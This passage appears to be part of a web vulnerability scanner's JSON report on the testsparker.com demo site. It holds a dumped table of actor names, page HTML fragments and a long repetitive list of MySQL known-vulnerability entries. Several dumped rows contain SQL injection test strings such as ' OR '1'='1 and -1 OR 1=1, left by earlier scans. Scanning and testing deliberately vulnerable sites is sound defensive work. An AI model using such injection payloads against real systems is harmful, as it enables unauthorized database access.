30 SANDRA PECK 2012-03-13 12:14:54 22
31 SISSY SOBIESKI 2012-03-13 12:14:54 22
32 TIM HACKMAN 2012-03-13 12:14:54 22
33 MILLA PECK 2012-03-13 12:14:54 22
34 AUDREY OLIVIER 2012-03-13 12:14:54 22
35 JUDY DEAN 2012-03-13 12:14:54 22
36 BURT DUKAKIS 2012-03-13 12:14:54 22
37 VAL BOLGER 2012-03-13 12:14:54 22
38 TOM MCKELLEN 2012-03-13 12:14:54 22
39 GOLDIE BRODY 2012-03-13 12:14:54 22
40 JOHNNY CAGE 2012-03-13 12:14:54 22
41 JODIE DEGENERES 2012-03-13 12:14:54 22
42 TOM MIRANDA 2012-03-13 12:14:54 22
43 KIRK JOVOVICH 2012-03-13 12:14:54 22
44 NICK STALLONE 2012-03-13 12:14:54 22
45 REESE KILMER 2012-03-13 12:14:54 22
46 PARKER GOLDBERG 2012-03-13 12:14:54 22
47 JULIA BARRYMORE 2012-03-13 12:14:54 22
48 FRANCES DAY-LEWIS 2012-03-13 12:14:54 22
49 ANNE CRONYN 2012-03-13 12:14:54 22
50 NATALIE HOPKINS 2012-03-13 12:14:54 22
51 GARY PHOENIX 2012-03-13 12:14:54 22
52 CARMEN HUNT 2012-03-13 12:14:54 22
53 MENA TEMPLE 2012-03-13 12:14:54 22
54 PENELOPE PINKETT 2012-03-13 12:14:54 22
55 FAY KILMER 2012-03-13 12:14:54 22
56 DAN HARRIS 2012-03-13 12:14:54 22
57 JUDE CRUISE 2012-03-13 12:14:54 22
58 CHRISTIAN AKROYD 2012-03-13 12:14:54 22
59 DUSTIN TAUTOU 2012-03-13 12:14:54 22
60 HENRY BERRY 2012-03-13 12:14:54 22
61 CHRISTIAN NEESON 2012-03-13 12:14:54 22
62 JAYNE NEESON 2012-03-13 12:14:54 22
63 CAMERON WRAY 2012-03-13 12:14:54 22
64 RAY JOHANSSON 2012-03-13 12:14:54 22
65 ANGELA HUDSON 2012-03-13 12:14:54 22
66 MARY TANDY 2012-03-13 12:14:54 22
67 JESSICA BAILEY 2012-03-13 12:14:54 22
68 RIP WINSLET 2012-03-13 12:14:54 22
69 KENNETH PALTROW 2012-03-13 12:14:54 22
70 MICHELLE MCCONAUGHEY 2012-03-13 12:14:54 22
71 ADAM GRANT 2012-03-13 12:14:54 22
72 SEAN WILLIAMS 2012-03-13 12:14:54 22
73 GARY PENN 2012-03-13 12:14:54 22
74 MILLA KEITEL 2012-03-13 12:14:54 22
75 BURT POSEY 2012-03-13 12:14:54 22
76 ANGELINA ASTAIRE 2012-03-13 12:14:54 22
77 CARY MCCONAUGHEY 2012-03-13 12:14:54 22
78 GROUCHO SINATRA 2012-03-13 12:14:54 22
79 MAE HOFFMAN 2012-03-13 12:14:54 22
80 RALPH CRUZ 2012-03-13 12:14:54 22
81 SCARLETT DAMON 2012-03-13 12:14:54 22
82 WOODY JOLIE 2012-03-13 12:14:54 22
83 BEN WILLIS 2012-03-13 12:14:54 22
84 JAMES PITT 2012-03-13 12:14:54 22
85 MINNIE ZELLWEGER 2012-03-13 12:14:54 22
86 GREG CHAPLIN 2012-03-13 12:14:54 22
87 SPENCER PECK 2012-03-13 12:14:54 22
88 KENNETH PESCI 2012-03-13 12:14:54 22
89 CHARLIZE DENCH 2012-03-13 12:14:54 22
90 SEAN GUINESS 2012-03-13 12:14:54 22
91 CHRISTOPHER BERRY 2012-03-13 12:14:54 22
92 KIRSTEN AKROYD 2012-03-13 12:14:54 22
93 ELLEN PRESLEY 2012-03-13 12:14:54 22
94 KENNETH TORN 2012-03-13 12:14:54 22
95 DARYL WAHLBERG 2012-03-13 12:14:54 22
96 GENE WILLIS 2012-03-13 12:14:54 22
97 MEG HAWKE 2012-03-13 12:14:54 22
98 CHRIS BRIDGES 2012-03-13 12:14:54 22
99 JIM MOSTEL 2012-03-13 12:14:54 22
100 SPENCER DEPP 2012-03-13 12:14:54 22
101 SUSAN DAVIS 2012-03-13 12:14:54 22
102 WALTER TORN 2012-03-13 12:14:54 22
103 MATTHEW LEIGH 2012-03-13 12:14:54 22
104 PENELOPE CRONYN 2012-03-13 12:14:54 22
105 SIDNEY CROWE 2012-03-13 12:14:54 22
106 GROUCHO DUNST 2012-03-13 12:14:54 22
107 GINA DEGENERES 2012-03-13 12:14:54 22
108 WARREN NOLTE 2012-03-13 12:14:54 22
109 SYLVESTER DERN 2012-03-13 12:14:54 22
110 SUSAN DAVIS 2012-03-13 12:14:54 22
111 CAMERON ZELLWEGER 2012-03-13 12:14:54 22
112 RUSSELL BACALL 2012-03-13 12:14:54 22
113 MORGAN HOPKINS 2012-03-13 12:14:54 22
114 MORGAN MCDORMAND 2012-03-13 12:14:54 22
115 HARRISON BALE 2012-03-13 12:14:54 22
116 DAN STREEP 2012-03-13 12:14:54 22
117 RENEE TRACY 2012-03-13 12:14:54 22
118 CUBA ALLEN 2012-03-13 12:14:54 22
119 WARREN JACKMAN 2012-03-13 12:14:54 22
120 PENELOPE MONROE 2012-03-13 12:14:54 22
121 LIZA BERGMAN 2012-03-13 12:14:54 22
122 SALMA NOLTE 2012-03-13 12:14:54 22
123 JULIANNE DENCH 2012-03-13 12:14:54 22
124 SCARLETT BENING 2012-03-13 12:14:54 22
125 ALBERT NOLTE 2012-03-13 12:14:54 22
126 FRANCES TOMEI 2012-03-13 12:14:54 22
127 KEVIN GARLAND 2012-03-13 12:14:54 22
128 CATE MCQUEEN 2012-03-13 12:14:54 22
129 DARYL CRAWFORD 2012-03-13 12:14:54 22
130 GRETA KEITEL 2012-03-13 12:14:54 22
131 JANE JACKMAN 2012-03-13 12:14:54 22
132 ADAM HOPPER 2012-03-13 12:14:54 22
133 RICHARD PENN 2012-03-13 12:14:54 22
134 GENE HOPKINS 2012-03-13 12:14:54 22
135 RITA REYNOLDS 2012-03-13 12:14:54 22
136 ED MANSFIELD 2012-03-13 12:14:54 22
137 MORGAN WILLIAMS 2012-03-13 12:14:54 22
138 LUCILLE DEE 2012-03-13 12:14:54 22
139 EWAN GOODING 2012-03-13 12:14:54 22
140 WHOOPI HURT 2012-03-13 12:14:54 22
141 CATE HARRIS 2012-03-13 12:14:54 22
142 JADA RYDER 2012-03-13 12:14:54 22
143 RIVER DEAN 2012-03-13 12:14:54 22
144 ANGELA WITHERSPOON 2012-03-13 12:14:54 22
145 KIM ALLEN 2012-03-13 12:14:54 22
146 ALBERT JOHANSSON 2012-03-13 12:14:54 22
147 FAY WINSLET 2012-03-13 12:14:54 22
148 EMILY DEE 2012-03-13 12:14:54 22
149 RUSSELL TEMPLE 2012-03-13 12:14:54 22
150 JAYNE NOLTE 2012-03-13 12:14:54 22
151 GEOFFREY HESTON 2012-03-13 12:14:54 22
152 BEN HARRIS 2012-03-13 12:14:54 22
153 MINNIE KILMER 2012-03-13 12:14:54 22
154 MERYL GIBSON 2012-03-13 12:14:54 22
155 IAN TANDY 2012-03-13 12:14:54 22
156 FAY WOOD 2012-03-13 12:14:54 22
157 GRETA MALDEN 2012-03-13 12:14:54 22
158 VIVIEN BASINGER 2012-03-13 12:14:54 22
159 LAURA BRODY 2012-03-13 12:14:54 22
160 CHRIS DEPP 2012-03-13 12:14:54 22
161 HARVEY HOPE 2012-03-13 12:14:54 22
162 OPRAH KILMER 2012-03-13 12:14:54 22
163 CHRISTOPHER WEST 2012-03-13 12:14:54 22
164 HUMPHREY WILLIS 2012-03-13 12:14:54 22
165 AL GARLAND 2012-03-13 12:14:54 22
166 NICK DEGENERES 2012-03-13 12:14:54 22
167 LAURENCE BULLOCK 2012-03-13 12:14:54 22
168 WILL WILSON 2012-03-13 12:14:54 22
169 KENNETH HOFFMAN 2012-03-13 12:14:54 22
170 MENA HOPPER 2012-03-13 12:14:54 22
171 OLYMPIA PFEIFFER 2012-03-13 12:14:54 22
172 GROUCHO WILLIAMS 2012-03-13 12:14:54 22
173 ALAN DREYFUSS 2012-03-13 12:14:54 22
174 MICHAEL BENING 2012-03-13 12:14:54 22
175 WILLIAM HACKMAN 2012-03-13 12:14:54 22
176 JON CHASE 2012-03-13 12:14:54 22
177 GENE MCKELLEN 2012-03-13 12:14:54 22
178 LISA MONROE 2012-03-13 12:14:54 22
179 ED GUINESS 2012-03-13 12:14:54 22
180 JEFF SILVERSTONE 2012-03-13 12:14:54 22
181 MATTHEW CARREY 2012-03-13 12:14:54 22
182 DEBBIE AKROYD 2012-03-13 12:14:54 22
183 RUSSELL CLOSE 2012-03-13 12:14:54 22
184 HUMPHREY GARLAND 2012-03-13 12:14:54 22
185 MICHAEL BOLGER 2012-03-13 12:14:54 22
186 JULIA ZELLWEGER 2012-03-13 12:14:54 22
187 RENEE BALL 2012-03-13 12:14:54 22
188 ROCK DUKAKIS 2012-03-13 12:14:54 22
189 CUBA BIRCH 2012-03-13 12:14:54 22
190 AUDREY BAILEY 2012-03-13 12:14:54 22
191 GREGORY GOODING 2012-03-13 12:14:54 22
192 JOHN SUVARI 2012-03-13 12:14:54 22
193 BURT TEMPLE 2012-03-13 12:14:54 22
194 MERYL ALLEN 2012-03-13 12:14:54 22
195 JAYNE SILVERSTONE 2012-03-13 12:14:54 22
196 BELA WALKEN 2012-03-13 12:14:54 22
197 REESE WEST 2012-03-13 12:14:54 22
198 MARY KEITEL 2012-03-13 12:14:54 22
199 JULIA FAWCETT 2012-03-13 12:14:54 22
200 THORA TEMPLE 2012-03-13 12:14:54 22
412 -1 OR 1=1 test 2012-03-13 12:14:54 22
413 -1 OR 1=1 test 2012-03-13 12:14:54 22
414 NS1NO test 2012-03-13 12:14:54 22
415 1 AND 'NS='ss test 2012-03-13 12:14:54 22
416 ' OR 'ns'='ns test 2012-03-13 12:14:54 22
417 -1 OR 17-7=10 test 2012-03-13 12:14:54 22
418 1 OR X='ss test 2012-03-13 12:14:54 22
419 ' OR '1'='1 test 2012-03-13 12:14:54 22
420 ' OR '1'='1 test 2012-03-13 12:14:54 22

\n\n\t\t\t\t
\n\t\t\t
\n\t\t
 
\n\t\t
\n\t\t\n\t \n\t
\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t
     
    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Tags

    \n\t\t\t\t\t

    netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion

    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Inner Pages

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Links

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t
\n\t\t
\t\t\n\t\t
 
\n\t
\n\t
\n\t
\n\t\n
\n\n
\n\tThis website is automatically reset at every midnight (00:00 - UTC).\n
\n
\n\t\t

Copyright (c) 2010 testsparker.com. All rights reserved. Design by Free CSS Templates.

\n\t
\t\n\n\n", + "Duration": 180.5509, + "StatusCode": 200 + }, + "LookupId": "b89d9038-b732-471a-657c-ad49020ee0ad", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "KnownVulnerabilities": [ + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Use of a Broken or Risky Cryptographic Algorithm Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Improper Access Control Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Critical", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Critical", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Improper Neutralization of Special Elements used in a Command ('Command Injection') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL 